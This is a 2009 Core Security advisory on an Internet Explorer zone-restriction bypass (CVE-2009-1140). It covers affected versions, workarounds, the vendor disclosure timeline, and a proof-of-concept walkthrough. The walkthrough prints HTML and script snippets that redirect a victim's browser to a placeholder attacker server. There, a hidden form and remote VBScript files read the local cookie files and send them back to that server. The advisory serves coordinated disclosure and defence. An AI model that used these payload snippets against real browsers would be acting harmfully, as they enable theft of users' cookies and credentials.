Core Security - CoreLabs
function showFullCode(textareaId)
theTextArea = document.getElementById(textareaId);
content = theTextArea.value.split(String.fromCharCode(10));
height = (400 + content.length % 500) % 800;
win ="", "Window3", "width=800,height=" + height + ",scrollbars=yes");

" + theTextArea.innerHTML + "

return false;
Internet Explorer Security Zone restrictions bypass

Advisory Information

Title: Internet Explorer Security Zone restrictions bypass
Advisory ID: CORE-2008-0826
Advisory URL:
Date published: 2009-06-09
Date of last update: 2009-06-09
Vendors contacted: Microsoft
Release mode: Coordinated release

Vulnerability Information

Class: Client side
Remotely Exploitable: Yes
Locally Exploitable: Yes
Bugtraq ID:
CVE Name: CVE-2009-1140

Vulnerability Description

Internet Explorer (IE) is the most widely used Web browser, with an estimated count of 1,100 million users
according to a worldwide survey conducted and published in 2008
This advisory describes a vulnerability that provides access to the contents of any file stored in the
local filesystem of user's machines running vulnerable versions of IE.

Exploitation of the vulnerability relies solely on the ability for a would-be attacker to provide
malicious HTML content from a website and to predict the full pathname for the file that will be used to
cache it locally on the victim's system. If the entire path name can be predicted, the attacker can cause a
redirection to the locally stored file using an URI specified in UNC form and force the local content
to be rendered as an HTML document, which will permit to run scripting commands and instantiate
certain ActiveX controls.

As a result of a successful attack, security or privacy-sensitive information can be obtained by an
attacker including but not limited to user authentication credentials for any web application domain,
HTTP cookies, session management data, cached content of web applications in different domains and
any files stored on local filesystems.

The bug is related to a lack of enforcement of security policies assigned to URL Security Zones

when content from the corresponding zone is loaded and rendered from a local file.
These issues have been found in the way that security policies are applied when a URI is specified in the UNC form

  1. When a remote site attempts to access a local resource,
    IE will fail to enforce the Zone Elevation restrictions.
  2. When browsing a remote site, IE will not properly enforce the
    Security Zone permissions, allowing a site belonging to
    a less secure zone to be treated as belonging to a more
    privileged one.

Vulnerable packages

  • Internet Explorer 5.01 Service Pack 4
  • Internet Explorer 6.0
  • Internet Explorer 6.0 Service Pack 1
  • Internet Explorer 7 (not exploitable with Protected mode on, available on Vista)

Vulnerable platforms

  • Microsoft Windows 2000 up to and including Service Pack 4
  • Microsoft Windows Server 2003 up to and including Service Pack 2
  • Microsoft Windows XP up to and including Service Pack 3
  • Windows Vista up to and including Service Pack 1 (not exploitable with IE running with Protected mode on)
  • Windows Server 2008

Non-vulnerable packages

  • Internet Explorer 8 under Windows 2000/2003/XP/Vista

Vendor Information, Solutions and Workarounds

The following workarounds can prevent exploitation of the vulnerability:

  • Use Internet Explorer's Protocol Lockdown feature control to restrict the "file"
    protocol to prevent HTML from UNC path to run script or ActiveX controls.
  • Set the Security Level setting for the Internet and Intranet Zones to High to prevent IE from
    running scripts or ActiveX controls.
  • Manually disable Active Scripting for the Internet and Intranet Zone with a custom security setting.
  • Only run IE in Protected Mode if it is available on the operating system.
  • Use a different web browser to navigate untrusted web sites.

Additionally, although disabling file sharing if it is not necessary and filtering outbound SMB connections
at the endpoint or network perimeter may not prevent exploitation it is generally a good security measure
to prevent disclosure of sensitive information such as valid usernames of endpoint users.

Microsoft has issued a patch to fix the vulnerability and a detailed description of how to implement
the workarounds on IE. It is available as
Security Bulletin

Microsoft's Research and Defense blog has further
discussion about the vulnerability, workarounds and mitigations


This vulnerability was discovered and researched by Jorge Luis Alvarez Medina from Core Security Consulting Services (SCS).
Additional research was made by Federico Muttis from Core Security Exploit Writers Team (EWT).

Technical Description / Proof of Concept Code

Internet Explorer uses a feature known as URL Security Zones

, which defines a set of privileges
for Web sites and applications depending on their apparent level of trustworthiness.
The zones available in the product include:

  • Internet Zone: For Web sites on the
    Internet that do not belong to another zone.
  • Local Intranet Zone: For content
    located on an organization's intranet.
  • Trusted Sites Zone: For content located on
    Web sites that are considered more reputable or trustworthy than
    other sites on the Internet.
  • Restricted Sites Zone: For Web sites that
    contain content that can cause (or have previously caused) problems
    when downloaded.
  • Local Machine Zone: This is an implicit zone
    for content that exists on the local computer and it is not
    directly configurable through Internet Explorer security options
    by the user.

Internet Explorer users or Administrators can assign specific websites or domains to any of the
available zone except the Local Machine Zone. The ability for a given website to perform
security-sensitive operations on the web browser is determined by
the Security Level of the zone to which the site was assigned.
Each zone can be set to one of three preset security levels (High, Medium-High, Medium) or to a
custom level with security policy settings specified by the user or administrator.

By default, all websites that are determined not to be in the Local Intranet zone and are not
explicitly listed in the Restricted Sites or Trusted Sites zones are assigned
the Internet Zone which has a default security setting of Medium-High.
Thus, for most IE users the security-sensitive actions that a browser is allowed to perform while
connected to an untrusted Internet site are those specified by the security policies of the
Internet Zone at the Medium-High security level.

There are some issues in the way IE enforces zone security policies when an URI is specified in
the UNC form (i.e.,
\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE). In this case, Internet Explorer
classifies as Internet Zone any UNC address pointing
to an IP address including
As a result, any website (belonging to any security zone) can address
and redirect the navigation flow to files stored in

If an attacker controlling a website finds a way to store HTML with any valid scripting code the local file system of the visitor and then redirects the browser's navigation flow that local file
(\\\full_file_name), then
this code will be loaded and rendered as if it belonged to the
Internet Zone but since the file containing it is stored in
\\ it would also be able to access
any other file on the visitor's file system.

The problem is derived from the sequence of actions performed by Internet Explorer to determine the
content-type of the content to be loaded and the appropriate way to render it. The algorithm followed
for this purpose is described in Microsoft's Knowledgebase article titled
MIME Type Detection in Internet Explorer
and implemented in the
function FindMimeFromData

In the following section, proof of concept code is provided to demonstrate the problem using the local storage
used by Internet Explorer to store the user's browsing history to deliver HTML with scripting code and force
IE to render it. This
analysis is valid for any Windows NT based operating system but should be
slightly modified to run under Windows Vista. It takes advantage
of the following features:

  1. The IE user's browsing history is compounded of
    different files and folders. One of these files is named
    index.dat, and is usually located at:
    C:\Documents and settings\USERNAME\Local settings\History\History.IE5\index.dat.
    Although the format of this file is not entirely text, IE will store every visited URL including any parameters in the
    query string in plain text.
  2. Although the aforementioned folder cannot be directly browsed using Windows Explorer or Internet Explorer,
    it can be browsed and viewed by referring to the same folder using the UNC notation:
    \\[COMPUTERNAME|]\C$\Documents and settings\USERNAME\Local settings\History\History.IE5.
  3. There are some HTML tags which allow to embed contents from external
    files and treat them with a specific format disregarding the file
    extension. For example, the HTML
    <object/> tag:

    <object data="index.dat" type="text/html" width="100%" height="50"></object>

    It allows to set the MIME type (in the type attribute) of an externally
    referenced file in the data attribute which will be loaded as an object.

  4. Internet Explorer behaves in a slightly different way when displaying a page directly
    rather than displaying that page inside an HTML
    <frame> tag. For example,
    a page containing an HTML <object>
    tag like the one shown below will prompt the user to accept the download of file being referenced
    inside if loaded directly but it will be automatically downloaded and rendered according to the
    specified MIME type if the
    page is loaded inside an HTML <frame>
  5. Internet Explorer will determine the security zone of an UNC address as belonging to:

    1. The Internet Zone if the path refers to the target using an IP
      address, for example \\
    2. The Local Intranet Zone if the path refers to the target using a NetBIOS name, for example

Proof of Concept Code

The following proof of concept code demonstrates that by enticing a user to do a single click on a malicious
website it is possible to retrieve every HTTP cookie from the unsuspecting victim user.
The PoC uses VBScript to show the ability to steal sensitive information from any local files
with either text or binary contents.

There are several steps involved in order to make the attack path clear.
The following diagram shows the files involved and the calling order.
Details concerning the relationship between these files will be explained
along the walkthrough:

Everything starts when the victim user points her browser to the
following URL:

http://[EVIL SERVER IP ADDRESS]/evilsite.htm

This page will trigger SMB requests against our evil server to extract
the victim's USERNAME. The script named running in the server will
be the one in charge of processing these requests to create the file which will be
used later to redirect the victim's browser to the locally stored index.dat file.

However, the main objective of this page is to set (when redirecting to the
next page) HTML code inside the victim's history index.dat file. The HTML
source code to accomplish such tasks would look very much like the following:

function redirectNow(){
	document.location = 'http://[EVIL SERVER IP ADDRESS]/setForm.htm\?[HTML CODE];
<body onload="javascript:redirectNow();">
<img src="\\[EVIL SERVER IP ADDRESS]\thereisnosuchfile.gif">

In turn, the next files in the redirecting chain
(setSecondScript.htm and
setFirstScript.htm ) will also be used to
accomplish the same second objective as the starting page.
As stated before this will result in the victim's
index.dat history file storing the HTML
code passed inside the query string in plaintext. The HTML code stored
up to this point would look like this:

<form name='frmUpload' id='frmUpload' action='http://[EVIL SERVER IP ADDRESS]/' method='post' enctype='multipart/form-data'>
<input type='hidden' name='data' id='data'>
<input type='submit' value='Submit'>
<script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/ stealcookies.vbs'></script>
<script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/ scripty.vbs'></script>

At this point, the victim's browser will be served with
setFirstScript.htm. This page will just
redirect the browser to another page
which simply defines the frames where the last page
referencing the index.dat file will be
loaded into.

The HTML code used for loading the index.dat file and rendering it
as HTML code is just a simple HTML
<object> tag:

<object data="" type="text/html" width="100%" height="50"></object>

As can be seen, this is the file we generated in the first step based
upon the actual USERNAME we obtained.
In turn, this file will just redirect the request to the
victim's index.dat:

Status: 302 Found
Content-type: text/html
Location: file://[|COMPUTERNAME]/C$/Documents%20and%20settings/USERNAME/Local%20settings/History/History.IE5/index.dat

This indirection level is required to avoid Internet Explorer from
prompting the user to download the target file.

If loaded, the file will execute under the Internet
with the access rights of such zone but, given that
the file is served from the local disk, with the ability to read any file in
the local drive. However, success of the attack will depend on the ability to
obtain or guess the right username as explained later.

By taking advantage of these sequence of actions, the script named
scripty.vbs will read the victim's
index.dat located at
C:\Documents and settings\USERNAME\Cookies\
which indexes the whole set of HTTP cookie files managed by IE and send it
back to the malicious server using an HTML
<form> we have set previously.
At the server side, the PERL script named will:

  • process the received file, and store it in the server;
  • create the script named stealcookies.vbs
    considering the cookies filenames gathered from the stolen file;
  • redirect the victim's browser back to the
    framset.htm page.

This time, when the victim's history
index.dat file is rendered again,
the script stealcookies.vbs will be
loaded. This script will read every single cookie file the user has
stored in the aforementioned Internet Explorer cookie's folder and
will send the contents back to the server using the same HTML
<form> used before. On the server side
the one in charge of processing this data will be the Perl script
named This time, it will:

  • Process the received file, and store it in the server under
    the name of stolen.txt;
  • Redirect the victim's browser back to this file.

Obtaining the right USERNAME

To get the right username, we can take advantage of some other
idiosyncrasies of Internet Explorer. If it is possible to make
outbound SMB requests to an untrusted web server we can leverage
that to include inside the main page some references to inexistent
resources in our server. The client will attempt to establish a SMB
connection against it from where the USERNAME
could be obtained as well as some other useful data such as the
ciphered challenge/response.

Our proof of concept contemplates 2 possibilities:

  1. The victim's machine is able to establish a connection to the
    port 445 (NetBIOS over TCP/IP) on the malicious server in which case
    the correct USERNAME can be obtained to
    build the right UNC path to the index.dat

    \\\C$\Documents and settings\USERNAME\Local settings\History\History.IE5\index.dat

  2. The port 445 is not allowed for outbound connections in which case
    the code will simple try to guess the right username using common names such
    as Administrator to build an UNC path like the following:

    \\\C$\Documents and settings\Administrator\Local settings\History\History.IE5\index.dat

In both cases, the file will be rendered as belonging to the
Internet Zone.

Proof of Concept Files

The Proof of Concept can be downloaded from
This would be a package with the following files:

  • evilsite.htm: The main page, which shots the SMB requests and
    redirects to setForm.htm passing, as part of the query string,
    HTML code to be set in the history index.dat file.
  • setForm.htm: This page acts as a bridge (receives the evil scripting
    code as a query string parameter) and redirects to setSecondScript.htm
    passing HTML code to be set in the history index.dat file.
  • setSecondScript.htm: This page acts as a bridge (receives the evil
    scripting code as a query string parameter) and redirects to setFirstScript.htm
    passing HTML code to be set in the history index.dat file.
  • setFirstScript.htm: This page acts as a bridge (receives the evil
    scripting code as a query string parameter) and just redirects to frameset.htm.
  • frameset.htm: This page defines the frames where the page trying to
    access the index.dat file will be loaded into.
  • stealCookies.htm: Same as frameset.htm, this page defines the frames
    where the page trying to access the index.dat file will be loaded into.
  • object.htm: The page to be loaded in frameset.htm.
    It covers the test cases 1 and 2 explained above in this document.
  • This script must be running in the example server.
    It will be listening for SMB requests, and when they occur, will create a pair
    of index.dat.[LANG].pl files, attempting to cover a couple of Windows OS languages.
  • This file will handle the files received from scritpy.vbs,
    generate the script named stealcookies.vbs and, in a subsequent call,
    will receive and store the stolen cookies.
  • scripty.vbs: A script file loaded by the HTML code written in
    the index.dat file. It will send the victim's
    cookies index.dat file back to the server.
  • A redirect to the file assuming
    the user Administrator under an English language Windows version.
  • A redirect to the file assuming
    the user Administrador under a Spanish language Windows version.

Report Timeline

  • 2008-10-08:
    Core Security Technologies notifies the Microsoft Security Response Center (MSRC)
    that a vulnerability has been found in
    Internet Explorer (IE). Core sends a draft security advisory with
    technical details and PoC files and announces its initial plan to
    publish the advisory on December 1st, 2008.
  • 2008-10-09:

    The MSRC acknowledges notification.
  • 2008-10-09:

    MSRC states that it is currently investigating the reported issue.
  • 2008-10-14:

    MSRC announces the investigation was completed.
    The flaw can be reproduced by the vendor and it is considered
    a bulletin class issue.
  • 2008-10-14:

    MSRC announces that the vendor will not be able to hit a December
    release date due to the mandatory quality test cycle required
    for IE updates.
  • 2008-10-16:

    Core asks MSRC for an estimated date to fix these issues.
  • 2008-11-04:

    Core requests an answer to the previous mail and also details about:

    1. the root cause of the problem,
    2. the list of affected platforms, and
    3. the severity rating Microsoft has assigned to the bug.
  • 2008-11-05:

    MSRC responds that patches to IE ship every two months and the
    next available ship date will be February 10th.
    The case is currently rated as an Important class
    Information Disclosure vulnerability.
    Vendor provides a list of affected components and platforms.
    The MSRC was able to reproduce this issue on all IE versions
    with the following exceptions: IE7 and IE8 in Windows Vista
    when Protected Mode is ON. In spite of that MSRC does not
    include IE8 in list of affected components because it
    is still a beta product.
  • 2009-01-08:

    Core asks MSRC if it is still on track to release patches
    on February 10th, 2009.
  • 2009-01-09:

    MSRC responds that the out-of-band fix released in

    took a lot of the resources that were assigned to
    February's release schedule and will not be able to meet
    the February release date. MSRC informs the next available
    release date would be April 14th, 2009.
  • 2009-03-23:

    Core asks MSRC if it is still on track to release fixed
    versions on April 14th.
  • 2009-03-26:

    MSRC responds the product team addressed this issue in IE8


    with the plan to port that code fix down-level (IE7, IE6 and IE5).
    In order to accomplish these fixes in the previous IE versions,
    MSRC informs Core the first available scheduled release in
    the future will be in June, 2009.
  • 2009-03-26:

    Core indicates that the previous email from MSRC is
    quite confusing. It seems to indicate that the vulnerability
    is already fixed in IE8 whereas at the time of the original
    report IE8 was still a beta product and there was not
    any communication from MSRC indicating whether the problem
    was going to be fixed nor a tentative date for such fix.
    Core asks MSRC to confirm that the vulnerability was indeed
    fixed in the released version of IE8 while two consecutive
    tentative released date for patches to the officially confirmed
    vulnerable versions IE5 to IE7 have been missed. In the case
    of such confirmation Core also asks clarification about
    Microsoft's previously stated policy of releasing fixes for
    all vulnerable versions at the same time as indicated in
    the emails exchanged during the reporting process of a
    IE vulnerability closely related to this one that Microsoft
    catalogued as an Outlook Express/Windows Mail bug

    . Core indicates that it
    considers that an 8-month release cycle is well beyond the
    reasonable time frame to issue fixes for a bug that it considered
    rooted at the same cause of a previously reported one, for which
    differences in its technical analysis were not resolved
    because Microsoft repeatedly ignored request for a technical
    root cause analysis. Therefore, pending answers to the above
    questions and specific technical details about the root cause
    of the problem and when, how and which platforms have the
    bug fixed Core will proceed with publication on April 14th
    as previously agreed. In the meantime Core will further
    investigate the issue in order to provide customers, ISVs
    and the security community all the necessary information to
    assess their risk and independently devise fixes, workarounds
    or mitigations.
  • 2009-04-08:

    Core requests an answer to the previous mail. Core is on track
    to publish the security advisory and would like confirmation
    that the released version of IE8 fixed the bug.
  • 2009-04-08:

    MSRC notifies Core that the reason why IE8 did ship with this fix
    ahead of the down-level versions was because IE8 was already
    in-development and it was safer and cleaner to check in this
    fix into the existing
    development cycle of IE8. MSRC also confirms that the bug is
    fixed in the currently released version of IE8 and it is currently
    being back-ported to the down-level versions of IE. MSRC indicates
    that it does not document security fix changed in the latest
    products if the vulnerability continues to exist in down-level
    support platforms which helps Microsoft to
    "not zero-day the down-level platforms" and gives the opportunity
    to provide updates for them. MSRC states that the vendor is
    currently in the path to release the update in June and would
    appreciate it if it could coordinate the release of Core's advisory
    on that same time.
  • 2009-04-13:

    Core notifies that probably the advisory will be released in a
    week although the final decision has not been made yet
    and that a vendor statement and workarounds would be highly
    appreciated. Core is working on the final version of the advisory
    and would like to improve the workaround and mitigation sections,
    for that purpose it is requesting assistance from the vendor.
    Core asks MSRC for mitigation and workarounds for users not
    running IE8. It also notifies that upon further research it
    found a variation of the original attack that may still compromise
    the original release of IE8. Other versions of IE8
    (with the same version and build number) do not seem to be
    vulnerable to the attack variation. The 'non-vulnerable'
    instance of IE8 tested was patched by Windows auto-update
    in or around April 7th. Core asks MSRC to confirm whether the
    original IE8 release was vulnerable to bug and the bug later
    silently fixed by an update shipped through Windows auto-update.
  • 2009-04-14:

    MSRC asks Core more details about the version of IE8
    that was successfully compromised by a variation of the original
    attack. The MSRC notifies the original attack was
    addressed in the RC1 version of IE8 and wants to make sure
    there is not an issue with the fix.
  • 2009-04-14:

    MSRC indicates that received verification from the product team
    that Protected Mode ON for the Internet Zone does block the
    attack in IE7. The vendor states that it is currently investigating
    the IE8 specific mitigations. With regards to IE8 the product team
    included the fix in RC of IE8 which was released in January and it is
    unsure about the differences between vulnerable and non-vulnerable
    instances of IE8. The product team is still working on the fixes
    for the next release but MSRC would like to make private binaries
    available for testing in the event that Core postpones publication
    of the advisory. MSRC offers to setup a conference call to discuss
    some of the challenges of fixing this bug and why it required
    in-depth investigation.
  • 2009-04-16:

    Core Security and the Secure Windows Initiative (SWI) discuss
    this issue in a conference call. The vendor states that it
    will obtain a list of non-security updates released for IE8 post
    RTM and obtain a similar list for Office and Windows since
    April 1st. The goal is to understand whether a non-security update
    has fixed a security bug. The vendor will also provide the
    technical description and the private fixed bits for this
    specific issue when available.
    Core is going to provide (in the next couple of days) the version
    of the IE8 that seems to be affected by this issue, and the
    modified PoC that was used to reproduce the problem on IE8.
    Core will inform MSRC of publishing date for the corresponding
    security advisory when the decision is made.
  • 2009-04-17:

    Core sends technical details, the list of fixes installed on
    vulnerable and non-vulnerable systems and modified
    Proof of Concept that works on certain versions of IE8 RTM
    and does not on others. In both cases the version and build
    number are exactly the same. Core have also found that, although
    the PoC sent to MSRC in the original report does not work on
    IE8 RTM, a variation of it continues to work in certain cases.
    Basically, it seems that IE8 RTM prevented code from being
    executed from index.dat mapped
    anywhere lower than an 0x4000 offset but if the offending
    code is above 0x4000 and not from
    it can still be executed.
  • 2009-04-17:

    MSRC notifies there were two updates released at the end of March.
    One was a Compatibility View List
    and the
    second was an SPAD fix
    that affects Vista
    X64 only. Vendor also notifies they are going to investigate whether
    this might have impacted the original attack vector. The technical
    analysis of the problem determined that the HTML engine checks the
    mime type for file it cannot handle and if there is not a match
    MIME sniffing is performed without a predetermined hint, unknown
    files are treated as HTML due to the redirection and in absence of
    a specific content-type MIME-sniffing will end up defaulting to
  • 2009-04-22:

    MSRC sends patched binaries for Vista/IE7. These binaries are the
    fix for the first issue submitted by Core and do not fix the
    second PoC sent by Core the previous week. MSRT also provides some
    workarounds for the first PoC reported.
    The IE team has investigated the additional PoC and has determined
    that while functionally it appears the same as the original
    issue submitted, when debugged the actions taken by the system
    are controlled by different functions, and this difference is
    significant enough to perform further investigation. The vendor
    asks to re-schedules the advisory publication date to June 2009.
  • 2009-04-22:

    MSRC asks additional details about the attack vectors discussed
    between Core and the Secure Windows Initiative (SWI) in the last
    conference call (16th, April). MSRC indicates that it has
    identified two workarounds for the original issue:
    Disabling scripting (which is default for Enhanced Security
    Configuration on Windows 2003 and Windows Server 2008) and
    disabling "Run ActiveX Controls and plugins". The IE team has
    investigated the second PoC and determined that the functionality
    appears the same but when debugged the actions performed by the
    system are different. The differences are considered significant
    enough to perform further investigation. MSRC proposes to
    release the fix for the issue originally reported in June and
    to continue investigation on the second PoC afterwards.
  • 2009-04-23:

    Core responds that, according to the technical information provided
    by the IE team it appears that the problem could be exploitable
    with any local file loaded through a
    redirection and thus defaulting to text/html that is not
    explicitly known by the HTML engine (Trident) and for which
    IE would end up defaulting to html as hinted. The mention of
    specific files during the conference call was just as an example
    of a potential vector but not a confirmed exploitation method
    that was explicitly discussed.

    Core also notifies the advisory publication will be delayed at
    least until next Wednesday (April 28th) since it appears that the
    bug was not actually fixed properly in IE8 and that new information
    has been provided.
  • 2009-04-23:

    Core also suggests some mitigation actions to prevent
    the exploitation of this flaw. For example, by explicitly
    file:// to a given zone
    (i.e. Intranet) and then disabling "Websites in less privileged web
    content zone can navigate into this zone" for that zone.
  • 2009-04-24:

    MSRC notifies that it would be possible to bypass the suggested
    workaround if a malicious site had its domain name resolve
    to since Zone determination does not depend on
    name resolution.
  • 2009-04-24:

    Core suggests other possible workarounds that involve
    explicitly setting the two UNC forms of targeting the localhost
    IP addressing the Internet Zone and setting the security level to
    High which seems to be in line with the suggestions from
    Microsoft's knowledgebase article about the IE Enhanced
    Security Configuration and asks for additional technical
    details to clarify the last email from MSRC. Core asks for clarification
    about the zone determination algorithm.
  • 2009-04-24:

    MSRC provides further technical analysis, and notifies that some
    of the proposed workarounds would work on all affected versions
    of IE.
  • 2009-04-28:

    The vendor asks to re-schedule the advisory publication date
    for a coordinated release during the regular June bulletin release
  • 2009-05-04:

    Core responds that it decided to set the publication date for the
    security advisory to Tuesday June 9th, 2009. This will give MSFT
    the opportunity to ship an official patch for all vulnerable
    versions of IE in the next available patch release cycle.
    Core also notifies this date is final and that in absence of
    an official fix Core will nonetheless publish the security
    advisory with all the technical details and information necessary
    for third parties to understand the risk and figure out and apply
    workarounds or mitigating measures.
  • 2009-05-06:

    MSRC indicates that it would like to set up a conference call to
    clarify the concerns about workarounds and to discuss additional
    possible mitigation actions.
  • 2009-05-26:

    Core ask for the status of the fix and whether it is on schedule
    for the June 9th release, responds that it prefers to keep the
    communication process properly documented by e-mail but notifies
    that a conference call would be possible if the vendor feels that it
    is absolutely necessary or the best way to discuss workarounds
    and mitigation actions.
  • 2009-05-28:

    MSRC notifies the fix for the issue submitted in October 2008
    is on track to be released on the second Tuesday in June 2009.
    Vendor is still determining the best way to address the additional
    PoC provided for IE8, and MSRC asks for a conference call to clarify
    some confusion of the proposed workarounds and mitigations.
  • 2009-06-01:

    Core notifies the possible timeslot for setting up a conference call
    with MSRT would be June 2nd or June 4th. Core also asks if
    the vendor is considering the second PoC as a separate vulnerabilities or
    just variations on how to exploit the same bug.
  • 2009-06-01:

    MSRC suggests setting up the conference call on June 4th. The vendor
    also notifies that during the investigation of the 2nd PoC,
    when debugged, the system actions are controlled by different
    functions and the difference is significant enough to address the
    2nd PoC as a whole.
  • 2009-06-02:

    Core responds it would be available for a conference on June 4th.
    Conference call set scheduled.
  • 2009-06-04:

    Conference call attended by MSRC, IE team member,
    Core security advisories team and vulnerability
  • 2009-06-04:

    Core sends MSRC notes taken during the conference call. Actions

    • MSRC to provide workaround and
      mitigations and to follow-up on issues demonstrated by the
      second PoC.
    • Core to further investigate
      workarounds and mitigations and to provide MSRC the
      final draft of the advisory before publication (by Monday).
  • 2009-06-04:

    MSRC sends notes of the conference call. Official workarounds and mitigating factors to be included in
    the Security Bulletin and link the Security Research and Defense blog with additional information.
  • 2009-06-04:

    Core suggests the use of the Protocol Lockdown feature control as possible workaround.
  • 2009-06-05:

    MSRC confirms that Protocol Lockdown is a feasible workaround. Details will be included in the
    Security Research and Defense blog.
  • 2009-06-09:

    Final draft of the advisory sent to MSRC.
  • 2009-06-09:

    Core Security Advisory CORE-2008-0826 published.








Internet Explorer 8.0 was officially released at this time leaving the 'beta stage'.


Compatibility View KB968220 -


SPAD link -

About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:

About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious
organizations worldwide develop and maintain a proactive process for
securing their networks. The company's flagship product, CORE IMPACT, is
the most comprehensive product for performing enterprise security
assurance testing. CORE IMPACT evaluates network, endpoint and end-user
vulnerabilities and identifies what resources are exposed. It enables
organizations to determine if current security investments are detecting
and preventing attacks. Core Security Technologies augments its leading technology solution
with world-class security consulting services, including penetration
testing and software security auditing. Based in Boston, MA and Buenos
Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web


The contents of this advisory are copyright (c) 2009 Core Security Technologies and
(c) 2009 CoreLabs, and may be distributed freely provided
that no fee is charged for this distribution and proper credit is given.


This advisory has been signed with the GPG key of Core Security Technologies advisories
team, which is available for download at